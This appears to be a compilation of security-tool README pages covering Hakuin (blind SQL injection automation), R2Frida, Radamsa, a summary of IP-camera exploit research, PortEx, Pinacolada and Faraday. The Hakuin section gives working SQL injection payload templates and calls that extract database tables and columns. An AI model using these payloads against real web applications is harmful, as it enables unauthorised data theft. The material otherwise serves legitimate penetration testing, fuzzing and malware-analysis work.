Hakuin - A Blazing Fast Blind SQL Injection Optimization And Automation Framework

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.

Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.

Installation

To install Hakuin, simply run:

pip3 install hakuin

Developers should install the package locally and set the -e flag for editable mode:

git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .

Examples

Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.

Example 1 - Query Parameter Injection with Status-based Inference

import aiohttp
from hakuin import Requester

class StatusRequester(Requester):
    async def request(self, ctx, query):
        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
        return r.status == 200

Example 2 - Header Injection with Content-based Inference

class ContentRequester(Requester):
    async def request(self, ctx, query):
        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
        r = await aiohttp.get(f'http://vuln.com/', headers=headers)
        return 'found' in await r.text()

To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.

Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL

import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL

class StatusRequester(Requester):
    ...

async def main():
    # requester:    Use this Requester
    # dbms:         Use this DBMS
    # n_tasks:      Spawns N tasks that extract column rows in parallel 
    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
    ...

if __name__ == '__main__':
    asyncio.get_event_loop().run_until_complete(main())

Now that eveything is set, you can start extracting DB metadata.

Example 1 - Extracting DB Schemas

# strategy:
#   'binary':   Use binary search
#   'model':    Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')

Example 2 - Extracting Tables

tables = await ext.extract_table_names(strategy='model')

Example 3 - Extracting Columns

columns = await ext.extract_column_names(table='users', strategy='model')

Example 4 - Extracting Tables and Columns Together

metadata = await ext.extract_meta(strategy='model')

Once you know the structure, you can extract the actual content.

Example 1 - Extracting Generic Columns

# text_strategy:    Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')

Example 2 - Extracting Textual Columns

# strategy:
#   'binary':       Use binary search
#   'fivegram':     Use five-gram model
#   'unigram':      Use unigram model
#   'dynamic':      Dynamically identify the best strategy. This setting
#                   also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')

Example 3 - Extracting Integer Columns

res = await ext.extract_column_int(table='users', column='id')

Example 4 - Extracting Float Columns

res = await ext.extract_column_float(table='products', column='price')

Example 5 - Extracting Blob (Binary Data) Columns

res = await ext.extract_column_blob(table='users', column='id')

More examples can be found in the tests directory.

Using Hakuin from the Command Line

Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:

python3 hk.py -h

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.

Cite Hakuin

@inproceedings{hakuin_bsqli,
  title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
  author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
  booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
  pages={384--393},
  year={2023},
  organization={IEEE}
}

R2Frida - Radare2 And Frida Better Together

This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.

The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.

Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.

Features

• Run unmodified Frida scripts (Use the :. command)
• Execute snippets in C, Javascript or TypeScript in any process
• Can attach, spawn or launch in local or remote systems
• List sections, symbols, exports, protocols, classes, methods
• Search for values in memory inside the agent or from the host
• Replace method implementations or create hooks with short commands
• Load libraries and frameworks in the target process
• Support Dalvik, Java, ObjC, Swift and C interfaces
• Manipulate file descriptors and environment variables
• Send signals to the process, continue, breakpoints
• The r2frida io plugin is also a filesystem fs and debug backend
• Automate r2 and frida using r2pipe
• Read/Write process memory
• Call functions, syscalls and raw code snippets
• Connect to frida-server via usb or tcp/ip
• Enumerate apps and processes
• Trace registers, arguments of functions
• Tested on x64, arm32 and arm64 for Linux, Windows, macOS, iOS and Android
• Doesn't require frida to be installed in the host (no need for frida-tools)
• Extend the r2frida commands with plugins that run in the agent
• Change page permissions, patch code and data
• Resolve symbols by name or address and import them as flags into r2
• Run r2 commands in the host from the agent
• Use r2 apis and run r2 commands inside the remote target process.
• Native breakpoints using the :db api
• Access remote filesystems using the r_fs api.

Installation

The recommended way to install r2frida is via r2pm:

$ r2pm -ci r2frida

Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.

Compilation

Dependencies

• radare2
• pkg-config (not required on windows)
• curl or wget
• make, gcc
• npm, nodejs (will be soon removed)

In GNU/Debian you will need to install the following packages:

$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git

Instructions

$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install

Windows

• Install meson and Visual Studio
• Unzip the latest radare2 release zip in the r2frida root directory
• Rename it to radare2 (instead of radare2-x.y.z)
• To make the VS compiler available in PATH (preconfigure.bat)
• Run configure.bat and then make.bat
• Copy the b\r2frida.dll into r2 -H R2_USER_PLUGINS

Usage

For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.

$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link   = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://?                        # show this help
* frida://                         # list local processes
* frida://0                        # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2      # abspath to spawn
* frida://rax2                     # same as above, considering local/bin is in PATH
* frida://spawn/$(program)         # spawn a new process in the current system
* frida://attach/(target)          # attach to target PID in current host
USB:
* frida://list/usb//               # list processes in the first usb device
* frida://apps/usb//               # list apps in the first usb device
* frida://attach/usb//12345        # attach to given pid in the first usb device
* frida://spawn/usb//appname       # spawn an app in the first resolved usb device
* frida://launch/usb//appname      # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
  R2FRIDA_SAFE_IO=0|1              # Workaround a Frida bug on Android/thumb
  R2FRIDA_DEBUG=0|1                # Used to debug argument parsing behaviour
  R2FRIDA_COMPILER_DISABLE=0|1     # Disable the new frida typescript compiler (`:. foo.ts`)
  R2FRIDA_AGENT_SCRIPT=[file]      # path to file of the r2frida agent

Examples

$ r2 frida://0     # same as frida -p 0, connects to a local session

You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)

$ r2 frida://rax2  # attach to the first process named `rax2`
$ r2 frida://1234  # attach to the given pid

Using the absolute path of a binary to spawn will spawn the process:

$ r2 frida:///bin/ls
[0x00000000]> :dc        # continue the execution of the target program

Also works with arguments:

$ r2 frida://"/bin/ls -al"

For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.

$ r2 frida://spawn/usb/         # enumerate devices
$ r2 frida://spawn/usb//        # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app

Commands

These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.

:i        # get information of the target (pid, name, home, arch, bits, ..)
.:i*      # import the target process details into local r2
:?        # show all the available commands
:dm       # list maps. Use ':dm|head' and seek to the program base address
:iE       # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-*     # delete all traces

Plugins

r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.

See the plugins/ directory for some more example plugin scripts.

[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
  if (name === 'test') {
    return function(args) {
      console.log('Hello Args From r2frida plugin', args);
      return 'Things Happen';
    }
  }
});
[0x00000000]> :. example.js   # load the plugin script

The :. command works like the r2's . command, but runs inside the agent.

:. a.js  # run script which registers a plugin
:.       # list plugins
:.-test  # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)

Termux

If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.

$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...

Troubleshooting

Ensure you are using a modern version of r2 (preferibly last release or git).

Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.

If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.

Design

 +---------+
 | radare2 |     The radare2 tool, on top of the rest
 +---------+
      :
 +----------+
 | io_frida |    r2frida io plugin
 +----------+
      :
 +---------+
 |  frida  |     Frida host APIs and logic to interact with target
 +---------+
      :
  +-------+
  |  app  |      Target process instrumented by Frida with Javascript
  +-------+

Credits

This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.

I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos

Radamsa - A General-Purpose Fuzzer

Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them. The main selling points of radamsa are that it has already found a slew of bugs in programs that actually matter, it is easily scriptable and, easy to get up and running.

Nutshell:

 $ # please please please fuzz your programs. here is one way to get data for it:
 $ sudo apt-get install gcc make git wget
 $ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
 $ echo "HAL 9000" | radamsa

What the Fuzz

Programming is hard. All nontrivial programs have bugs in them. What's more, even the simplest typical mistakes are in some of the most widely used programming languages usually enough for attackers to gain undesired powers.

Fuzzing is one of the techniques to find such unexpected behavior from programs. The idea is simply to subject the program to various kinds of inputs and see what happens. There are two parts in this process: getting the various kinds of inputs and how to see what happens. Radamsa is a solution to the first part, and the second part is typically a short shell script. Testers usually have a more or less vague idea what should not happen, and they try to find out if this is so. This kind of testing is often referred to as negative testing, being the opposite of positive unit- or integration testing. Developers know a service should not crash, should not consume exponential amounts of memory, should not get stuck in an infinite loop, etc. Attackers know that they can probably turn certain kinds of memory safety bugs into exploits, so they fuzz typically instrumented versions of the target programs and wait for such errors to be found. In theory, the idea is to counterprove by finding a counterexample a theorem about the program stating that for all inputs something doesn't happen.

There are many kinds of fuzzers and ways to apply them. Some trace the target program and generate test cases based on the behavior. Some need to know the format of the data and generate test cases based on that information. Radamsa is an extremely "black-box" fuzzer, because it needs no information about the program nor the format of the data. One can pair it with coverage analysis during testing to likely improve the quality of the sample set during a continuous test run, but this is not mandatory. The main goal is to first get tests running easily, and then refine the technique applied if necessary.

Radamsa is intended to be a good general purpose fuzzer for all kinds of data. The goal is to be able to find issues no matter what kind of data the program processes, whether it's xml or mp3, and conversely that not finding bugs implies that other similar tools likely won't find them either. This is accomplished by having various kinds of heuristics and change patterns, which are varied during the tests. Sometimes there is just one change, sometimes there a slew of them, sometimes there are bit flips, sometimes something more advanced and novel.

Radamsa is a side-product of OUSPG's Protos Genome Project, in which some techniques to automatically analyze and examine the structure of communication protocols were explored. A subset of one of the tools turned out to be a surprisingly effective file fuzzer. The first prototype black-box fuzzer tools mainly used regular and context-free formal languages to represent the inferred model of the data.

Requirements

Supported operating systems: * GNU/Linux * OpenBSD * FreeBSD * Mac OS X * Windows (using Cygwin)

Software requirements for building from sources: * gcc / clang * make * git * wget

Building Radamsa

 $ git clone https://gitlab.com/akihe/radamsa.git
 $ cd radamsa
 $ make
 $ sudo make install # optional, you can also just grab bin/radamsa
 $ radamsa --help

Radamsa itself is just a single binary file which has no external dependencies. You can move it where you please and remove the rest.

Fuzzing with Radamsa

This section assumes some familiarity with UNIX scripting.

Radamsa can be thought as the cat UNIX tool, which manages to break the data in often interesting ways as it flows through. It has also support for generating more than one output at a time and acting as a TCP server or client, in case such things are needed.

Use of radamsa will be demonstrated by means of small examples. We will use the bc arbitrary precision calculator as an example target program.

In the simplest case, from scripting point of view, radamsa can be used to fuzz data going through a pipe.

 $ echo "aaa" | radamsa
 aaaa

Here radamsa decided to add one 'a' to the input. Let's try that again.

 $ echo "aaa" | radamsa
 ːaaa

Now we got another result. By default radamsa will grab a random seed from /dev/urandom if it is not given a specific random state to start from, and you will generally see a different result every time it is started, though for small inputs you might see the same or the original fairly often. The random state to use can be given with the -s parameter, which is followed by a number. Using the same random state will result in the same data being generated.

 $ echo "Fuzztron 2000" | radamsa --seed 4
 Fuzztron 4294967296

This particular example was chosen because radamsa happens to choose to use a number mutator, which replaces textual numbers with something else. Programmers might recognize why for example this particular number might be an interesting one to test for.

You can generate more than one output by using the -n parameter as follows:

 $ echo "1 + (2 + (3 + 4))" | radamsa --seed 12 -n 4
 1 + (2 + (2 + (3 + 4?)
 1 + (2 + (3 +?4))
 18446744073709551615 + 4)))
 1 + (2 + (3 + 170141183460469231731687303715884105727))

There is no guarantee that all of the outputs will be unique. However, when using nontrivial samples, equal outputs tend to be extremely rare.

What we have so far can be used to for example test programs that read input from standard input, as in

 $ echo "100 * (1 + (2 / 3))" | radamsa -n 10000 | bc
 [...]
 (standard_in) 1418: illegal character: ^_
 (standard_in) 1422: syntax error
 (standard_in) 1424: syntax error
 (standard_in) 1424: memory exhausted
 [hang]

Or the compiler used to compile Radamsa:

 $ echo '((lambda (x) (+ x 1)) #x124214214)' | radamsa -n 10000 | ol
 [...]
 > What is 'ó µ'? 
 4901126677
 > $

Or to test decompression:

 $ gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null

Typically however one might want separate runs for the program for each output. Basic shell scripting makes this easy. Usually we want a test script to run continuously, so we'll use an infinite loop here:

 $ gzip -c /bin/bash > sample.gz
 $ while true; do radamsa sample.gz | gzip -d > /dev/null; done

Notice that we are here giving the sample as a file instead of running Radamsa in a pipe. Like cat Radamsa will by default write the output to stdout, but unlike cat when given more than one file it will usually use only one or a few of them to create one output. This test will go about throwing fuzzed data against gzip, but doesn't care what happens then. One simple way to find out if something bad happened to a (simple single-threaded) program is to check whether the exit value is greater than 127, which would indicate a fatal program termination. This can be done for example as follows:

 $ gzip -c /bin/bash > sample.gz
 $ while true
 do
   radamsa sample.gz > fuzzed.gz
   gzip -dc fuzzed.gz > /dev/null
   test $? -gt 127 && break
 done

This will run for as long as it takes to crash gzip, which hopefully is no longer even possible, and the fuzzed.gz can be used to check the issue if the script has stopped. We have found a few such cases, the last one of which took about 3 months to find, but all of them have as usual been filed as bugs and have been promptly fixed by the upstream.

One thing to note is that since most of the outputs are based on data in the given samples (standard input or files given at command line) it is usually a good idea to try to find good samples, and preferably more than one of them. In a more real-world test script radamsa will usually be used to generate more than one output at a time based on tens or thousands of samples, and the consequences of the outputs are tested mostly in parallel, often by giving each of the output on command line to the target program. We'll make a simple such script for bc, which accepts files from command line. The -o flag can be used to give a file name to which radamsa should write the output instead of standard output. If more than one output is generated, the path should have a %n in it, which will be expanded to the number of the output.

 $ echo "1 + 2" > sample-1
 $ echo "(124 % 7) ^ 1*2" > sample-2
 $ echo "sqrt((1 + length(10^4)) * 5)" > sample-3
 $ bc sample-* < /dev/null
 3
 10
 5
 $ while true
 do
   radamsa -o fuzz-%n -n 100 sample-*
   bc fuzz-* < /dev/null
   test $? -gt 127 && break
 done

This will again run up to obviously interesting times indicated by the large exit value, or up to the target program getting stuck.

In practice many programs fail in unique ways. Some common ways to catch obvious errors are to check the exit value, enable fatal signal printing in kernel and checking if something new turns up in dmesg, run a program under strace, gdb or valgrind and see if something interesting is caught, check if an error reporter process has been started after starting the program, etc.

Output Options

The examples above all either wrote to standard output or files. One can also ask radamsa to be a TCP client or server by using a special parameter to -o. The output patterns are:

Remember that you can use e.g. tcpflow to record TCP traffic to files, which can then be used as samples for radamsa.

Related Tools

A non-exhaustive list of free complementary tools:

• GDB (http://www.gnu.org/software/gdb/)
• Valgrind (http://valgrind.org/)
• AddressSanitizer (http://code.google.com/p/address-sanitizer/wiki/AddressSanitizer)
• strace (http://sourceforge.net/projects/strace/)
• tcpflow (http://www.circlemud.org/~jelson/software/tcpflow/)

A non-exhaustive list of related free tools: * American fuzzy lop (http://lcamtuf.coredump.cx/afl/) * Zzuf (http://caca.zoy.org/wiki/zzuf) * Bunny the Fuzzer (http://code.google.com/p/bunny-the-fuzzer/) * Peach (http://peachfuzzer.com/) * Sulley (http://code.google.com/p/sulley/)

Tools which are intended to improve security are usually complementary and should be used in parallel to improve the results. Radamsa aims to be an easy-to-set-up general purpose shotgun test to expose the easiest (and often severe due to being reachable from via input streams) cracks which might be exploitable by getting the program to process malicious data. It has also turned out to be useful for catching regressions when combined with continuous automatic testing.

Some Known Results

A robustness testing tool is obviously only good only if it really can find non-trivial issues in real-world programs. Being a University-based group, we have tried to formulate some more scientific approaches to define what a 'good fuzzer' is, but real users are more likely to be interested in whether a tool has found something useful. We do not have anyone at OUSPG running tests or even developing Radamsa full-time, but we obviously do make occasional test-runs, both to assess the usefulness of the tool, and to help improve robustness of the target programs. For the test-runs we try to select programs that are mature, useful to us, widely used, and, preferably, open source and/or tend to process data from outside sources.

The list below has some CVEs we know of that have been found by using Radamsa. Some of the results are from our own test runs, and some have been kindly provided by CERT-FI from their tests and other users. As usual, please note that CVE:s should be read as 'product X is now more robust (against Y)'.

We would like to thank the Chromium project and Mozilla for analyzing, fixing and reporting further many of the above mentioned issues, CERT-FI for feedback and disclosure handling, and other users, projects and vendors who have responsibly taken care of uncovered bugs.

Thanks

The following people have contributed to the development of radamsa in code, ideas, issues or otherwise.

• Darkkey
• Branden Archer

Troubleshooting

Issues in Radamsa can be reported to the issue tracker. The tool is under development, but we are glad to get error reports even for known issues to make sure they are not forgotten.

You can also drop by at #radamsa on Freenode if you have questions or feedback.

Issues your programs should be fixed. If Radamsa finds them quickly (say, in an hour or a day) chances are that others will too.

Issues in other programs written by others should be dealt with responsibly. Even fairly simple errors can turn out to be exploitable, especially in programs written in low-level languages. In case you find something potentially severe, like an easily reproducible crash, and are unsure what to do with it, ask the vendor or project members, or your local CERT.

FAQ

Q: If I find a bug with radamsa, do I have to mention the tool?
A: No.

Q: Will you make a graphical version of radamsa?

A: No. The intention is to keep it simple and scriptable for use in automated regression tests and continuous testing.

Q: I can't install! I don't have root access on the machine!
A: You can omit the $ make install part and just run radamsa from bin/radamsa in the build directory, or copy it somewhere else and use from there.

Q: Radamsa takes several GB of memory to compile!1
A: This is most likely due to an issue with your C compiler. Use prebuilt images or try the quick build instructions in this page.

Q: Radamsa does not compile using the instructions in this page!
A: Please file an issue at https://gitlab.com/akihe/radamsa/issues/new if you don't see a similar one already filed, send email (aohelin@gmail.com) or IRC (#radamsa on freenode).

Q: I used fuzzer X and found much more bugs from program Y than Radamsa did.
A: Cool. Let me know about it (aohelin@gmail.com) and I'll try to hack something X-ish to radamsa if it's general purpose enough. It'd also be useful to get some samples which you used to check how well radamsa does, because it might be overfitting some heuristic.

Q: Can I get support for using radamsa?
A: You can send email to aohelin@gmail.com or check if some of us happen to be hanging around at #radamsa on freenode.

Q: Can I use radamsa on Windows?
A: An experimental Windows executable is now in Downloads, but we have usually not tested it properly since we rarely use Windows internally. Feel free to file an issue if something is broken.

Q: How can I install radamsa?
A: Grab a binary from downloads and run it, or $ make && sudo make install.

Q: How can I uninstall radamsa?
A: Remove the binary you grabbed from downloads, or $ sudo make uninstall.

Q: Why are many outputs generated by Radamsa equal?
A: Radamsa doesn't keep track which outputs it has already generated, but instead relies on varying mutations to keep the output varying enough. Outputs can often be the same if you give a few small samples and generate lots of outputs from them. If you do spot a case where lots of equal outputs are generated, we'd be interested in hearing about it.

Q: There are lots of command line options. Which should I use for best results?
A: The recommended use is $ radamsa -o output-%n.foo -n 100 samples/*.foo, which is also what is used internally at OUSPG. It's usually best and most future proof to let radamsa decide the details.

Q: How can I make radamsa faster?
A: Radamsa typically writes a few megabytes of output per second. If you enable only simple mutations, e.g. -m bf,bd,bi,br,bp,bei,bed,ber,sr,sd, you will get about 10x faster output.

Q: What's with the funny name?
A: It's from a scene in a Finnish children's story. You've probably never heard about it.

Q: Is this the last question?
A: Yes.

Warnings

Use of data generated by radamsa, especially when targeting buggy programs running with high privileges, can result in arbitrarily bad things to happen. A typical unexpected issue is caused by a file manager, automatic indexer or antivirus scanner trying to do something to fuzzed data before they are being tested intentionally. We have seen spontaneous reboots, system hangs, file system corruption, loss of data, and other nastiness. When in doubt, use a disposable system, throwaway profile, chroot jail, sandbox, separate user account, or an emulator.

Not safe when used as prescribed.

This product may contain faint traces of parenthesis.

SADProtocol goes to Hollywood

Faraday’s researchers Javier Aguinaga and Octavio Gianatiempo have investigated on IP cameras and two high severity vulnerabilities.

This research project began when Aguinaga's wife, a former Research leader at Faraday Security, informed him that their IP camera had stopped working. Although Javier was initially asked to fix it, being a security researcher, opted for a more unconventional approach to tackle the problem. He brought the camera to their office and discussed the issue with Gianatiempo, another security researcher at Faraday. The situation quickly escalated from some light reverse engineering to a full-fledged vulnerability research project, which ended with two high-severity bugs and an exploitation strategy worthy of the big screen.

They uncovered two LAN remote code execution vulnerabilities in EZVIZ’s implementation of Hikvision’s Search Active Devices Protocol (SADP) and SDK server:

• CVE-2023-34551: EZVIZ’s implementation of Hikvision’s SDK server post-auth stack buffer overflows (CVSS3 8.0 - HIGH)
• CVE-2023-34552: EZVIZ’s implementation of Hikvision’s SADP packet parser pre-auth stack buffer overflows (CVSS3 8.8 - HIGH)

The affected code is present in several EZVIZ products, which include but are not limited to:

These vulnerabilities affect IP cameras and can be used to execute code remotely, so they drew inspiration from the movies and decided to recreate an attack often seen in heist films. The hacker in the group is responsible for hijacking the cameras and modifying the feed to avoid detection. Take, for example, this famous scene from Ocean’s Eleven:

Exploiting either of these vulnerabilities, Javier and Octavio served a victim an arbitrary video stream by tunneling their connection with the camera into an attacker-controlled server while leaving all other camera features operational. A deep detailed dive into the whole research process, can be found in these slides and code. It covers firmware analysis, vulnerability discovery, building a toolchain to compile a debugger for the target, developing an exploit capable of bypassing ASLR. Plus, all the details about the Hollywood-style post-exploitation, including tracing, in memory code patching and manipulating the execution of the binary that implements most of the camera features.

This research shows that memory corruption vulnerabilities still abound on embedded and IoT devices, even on products marketed for security applications like IP cameras. Memory corruption vulnerabilities can be detected by static analysis, and implementing secure development practices can reduce their occurrence. These approaches are standard in other industries, evidencing that security is not a priority for embedded and IoT device manufacturers, even when developing security-related products. By filling the gap between IoT hacking and the big screen, this research questions the integrity of video surveillance systems and hopes to raise awareness about the security risks posed by these kinds of devices.

PortEx - Java Library To Analyse Portable Executable Files With A Special Focus On Malware Analysis And PE Malformation Robustness

PortEx is a Java library for static malware analysis of Portable Executable files. Its focus is on PE malformation robustness, and anomaly detection. PortEx is written in Java and Scala, and targeted at Java applications.

Features

• Reading header information from: MSDOS Header, COFF File Header, Optional Header, Section Table
• Reading PE structures: Imports, Resources, Exports, Debug Directory, Relocations, Delay Load Imports, Bound Imports
• Dumping of sections, resources, overlay, embedded ZIP, JAR or .class files
• Scanning for file format anomalies, including structural anomalies, deprecated, reserved, wrong or non-default values.
• Visualize PE file structure, local entropies and byteplot of the file with variable colors and sizes
• Calculate Shannon Entropy and Chi Squared for files and sections
• Calculate ImpHash and Rich and RichPV hash values for files and sections
• Parse RichHeader and verify checksum
• Calculate and verify Optional Header checksum
• Scan for PEiD signatures, internal file type signatures or your own signature database
• Scan for Jar to EXE wrapper (e.g. exe4j, jsmooth, jar2exe, launch4j)
• Extract Unicode and ASCII strings contained in the file
• Extraction and conversion of .ICO files from icons in the resource section
• Extraction of version information and manifest from the file
• Reading .NET metadata and streams (Alpha)

For more information have a look at PortEx Wiki and the Documentation

PortexAnalyzer CLI and GUI

PortexAnalyzer CLI is a command line tool that runs the library PortEx under the hood. If you are looking for a readily compiled command line PE scanner to analyse files with it, download it from here PortexAnalyzer.jar

The GUI version is available here: PortexAnalyzerGUI

Using PortEx

Including PortEx to a Maven Project

You can include PortEx to your project by adding the following Maven dependency:

<dependency>
   <groupId>com.github.katjahahn</groupId>
   <artifactId>portex_2.12</artifactId>
   <version>4.0.0</version>
</dependency> 

To use a local build, add the library as follows:

<dependency>
   <groupId>com.github.katjahahn</groupId>
   <artifactId>portex_2.12</artifactId>
   <version>4.0.0</version>
   <scope>system</scope>
   <systemPath>$PORTEXDIR/target/scala-2.12/portex_2.12-4.0.0.jar</systemPath>
</dependency> 

Including PortEx to an SBT project

Add the dependency as follows in your build.sbt

libraryDependencies += "com.github.katjahahn" % "portex_2.12" % "4.0.0"

Building PortEx

Requirements

PortEx is build with sbt

Compile and Build With sbt

To simply compile the project invoke:

$ sbt compile

To create a jar:

$ sbt package

To compile a fat jar that can be used as command line tool, type:

$ sbt assembly

Create Eclipse Project

You can create an eclipse project by using the sbteclipse plugin. Add the following line to project/plugins.sbt:

addSbtPlugin("com.typesafe.sbteclipse" % "sbteclipse-plugin" % "2.4.0")

Generate the project files for Eclipse:

$ sbt eclipse

Import the project to Eclipse via the Import Wizard.

Donations

I develop PortEx and PortexAnalyzer as a hobby in my freetime. If you like it, please consider buying me a coffee: https://ko-fi.com/struppigel

Author

Karsten Hahn

Twitter: @Struppigel

Mastodon: struppigel@infosec.exchange

Youtube: MalwareAnalysisForHedgehogs

Pinacolada - Wireless Intrusion Detection System For Hak5's WiFi Coconut

Pinacolada looks for typical IEEE 802.11 attacks and then informs you about them as quickly as possible. All this with the help of Hak5's WiFi Coconut, which allows it to listen for threats on all 14 channels in the 2.4GHz range simultaneously.

Supported 802.11 Attacks

Dependencies

MacOS (With PIP/Python and Homebrew package manager)

pip install flask
brew install wireshark

Linux (With PIP/Python and APT package manager)

pip install flask
apt install tshark

For both operating systems install the WiFi Coconut's userspace

Installation

# Download Pinacolada
git clone https://github.com/90N45-d3v/Pinacolada
cd Pinacolada

# Start Pinacolada
python main.py

Usage

Pinacolada will be accessible from your browser at 127.0.0.1:8888.
The default password is CoconutsAreYummy.
After you have logged in, you can see a dashboard on the start page and you should change the password in the settings tab.

E-Mail Notifications

If configured, Pinacolada will alert you to attacks via E-Mail. In order to send you an E-Mail, however, an E-Mail account for Pinacolada must be specified in the settings tab. To find the necessary information such as SMTP server and SMTP port, search the internet for your mail provider and how their SMTP servers are configured + how to use them. Here are some information about known providers:

Not fully tested!

Since I don't own a WiFi Coconut myself, I have to simulate their traffic. So if you encounter any problems, don't hesitate to contact me and open an issue.

Faraday - Open Source Vulnerability Management Platform

Security has two difficult tasks: designing smart ways of getting new information, and keeping track of findings to improve remediation efforts. With Faraday, you may focus on discovering vulnerabilities while we help you with the rest. Just use it in your terminal and get your work organized on the run. Faraday was made to let you take advantage of the available tools in the community in a truly multiuser way.

Faraday aggregates and normalizes the data you load, allowing exploring it into different visualizations that are useful to managers and analysts alike.

To read about the latest features check out the release notes!

Install

Docker-compose

The easiest way to get faraday up and running is using our docker-compose

$ wget https://raw.githubusercontent.com/infobyte/faraday/master/docker-compose.yaml
$ docker-compose up

If you want to customize, you can find an example config over here Link

Docker

You need to have a Postgres running first.

 $ docker run \
     -v $HOME/.faraday:/home/faraday/.faraday \
     -p 5985:5985 \
     -e PGSQL_USER='postgres_user' \
     -e PGSQL_HOST='postgres_ip' \
     -e PGSQL_PASSWD='postgres_password' \
     -e PGSQL_DBNAME='postgres_db_name' \
     faradaysec/faraday:latest

PyPi

$ pip3 install faradaysec
$ faraday-manage initdb
$ faraday-server

Binary Packages (Debian/RPM)

You can find the installers on our releases page

$ sudo apt install faraday-server_amd64.deb
# Add your user to the faraday group
$ faraday-manage initdb
$ sudo systemctl start faraday-server

Add your user to the faraday group and then run

Source

If you want to run directly from this repo, this is the recommended way:

$ pip3 install virtualenv
$ virtualenv faraday_venv
$ source faraday_venv/bin/activate
$ git clone git@github.com:infobyte/faraday.git
$ pip3 install .
$ faraday-manage initdb
$ faraday-server

Check out our documentation for detailed information on how to install Faraday in all of our supported platforms

For more information about the installation, check out our Installation Wiki.

In your browser now you can go to http://localhost:5985 and login with "faraday" as username, and the password given by the installation process

Getting Started

Learn about Faraday holistic approach and rethink vulnerability management.

• Centralize your vulnerability data
• Automate the scanners you need

Integrating faraday in your CI/CD

Setup Bandit and OWASP ZAP in your pipeline

• GitHub [PDF]
• Jenkins [PDF]
• TravisCI [PDF]

Setup Bandit, OWASP ZAP and SonarQube in your pipeline

• Gitlab [PDF]

Faraday Cli

Faraday-cli is our command line client, providing easy access to the console tools, work in faraday directly from the terminal!

This is a great way to automate scans, integrate it to CI/CD pipeline or just get metrics from a workspace

$ pip3 install faraday-cli

Check our faraday-cli repo

Check out the documentation here.

Faraday Agents

Faraday Agents Dispatcher is a tool that gives Faraday the ability to run scanners or tools remotely from the platform and get the results.

Plugins

